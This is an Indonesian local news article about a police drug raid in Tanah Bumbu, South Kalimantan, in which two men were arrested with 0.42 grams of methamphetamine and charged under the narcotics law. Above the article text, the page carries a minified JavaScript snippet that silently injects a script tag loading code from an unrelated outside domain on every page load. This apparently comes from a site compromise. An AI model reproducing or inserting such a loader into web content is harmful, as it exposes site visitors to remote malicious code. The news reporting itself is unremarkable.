(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Tanah Bumbu

Dua Pria Pakai Narkoba di Desa Sungai Cuka, Polisi Bawa ke Penjara


KANALKALIMANTAN.COM, BATULICIN – Dua pria pengguna Narkoba jenis sabu dibekuk Satuan Reserse Narkoba (Satresnarkoba) Polres Tanah Bumbu (Tanbu) di Perumnas Citra Sudan Permai RT 04 RW 02 Desa Sungai Cuka, Kecamatan Satui, Tanbu, Sabtu (14/5/2022) malam.

Pelaku adalah AR (52) warga Perumnas Citra Sudan Permai Desa Sungai Cuka, Kecamatan Satui dan FH (23), warga Desa Benawa Tengah, Kecamatan Barabai, Kabupaten Hulu Sungai Tengah.

Kapolres Tanah Bumbu AKBP Tri Hambodo melalui Kasi Humas AKP H Iberahim Made Rasa kepada Kanalkalimantan.com, Senin (16/5/2022), membenarkan penangkapan kedua pelaku tersebut.

“Kemarin anggota Satresnarkoba mengamankan dua pria yang diduga sebagai pemakai Narkoba jenis sabu di Kecamatan Satui,” katanya.

 

Baca juga : Jadi Pengedar Sabu, Buruh Perkebunan Diringkus Satresnarkoba Polres Tanbu

Penangkapan pelaku berdasarkan dari informasi masyarakat bahwa di Perumnas Citra Sudan Permai, Desa Sungai Cuka, Kecamatan Satui sering terjadi penyalahgunaan Narkotika.

Atas laporan masyarakat tersebut Sat Resnarkoba melakukan penyelidikan, setelah mendapatkan kepastian polisi bergerak melakukan penggerebekan dan penggeledahan terhadap kedua pelaku.

Pada saat penggeledehan polisi menemukan barang bukti 2 paket Narkotika jenis sabu seberat 0,42 gram, 1 lembar kertas rokok, 1 buah sendok sabu terbuat dari sedotan plastik warna putih, 1 unit handphone merk Vivo warna merah,d an 1 unit handphone merk Vivo warna biru. Lalu dilanjutkan penangkapan terhadap kedua pelaku.

Kini kedua pelaku mengakui bahwa semua barang bukti tersebut memang benar adalah milik mereka, guna proses penyidikan serta mempertanggungjawabkan perbuatannya pelaku diitahan di Mapolres Tanah Bumbu.

 

Baca juga  : BNNK HSU Edukasi Masyarakat P4GN Melalui Amuntai Expo 2022

Atas perbuatannya kedua tersangka dikenakan pasal 114 ayat (1) jo pasal 112 ayat (1) UU Nomor 35 tahun 2009 tentang Narkotika dengan ancaman 12 tahun penjara.

“Kami juga tak lupa terus mengimbau kepada masyarakat jangan menggunakan atau menyimpan Narkotika jenis apapun, karena polisi akan terus memburu dan menangkap pelaku Narkotika kapan pun dan dimana pun baik sipil atau aparat penegak hukum sendiri,” ingatnya.

“Karena Narkoba sangat membahayakan bagi pemakainya yang mana mengandung zat adiktif dangat berbahaya, mari bersama-sama kita menjaga dan hidup sehat tanpa Narkoba,” tutupnya.(Kanalkalimantan.com/ftr)

Reporter : ftr
Editor : bie


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.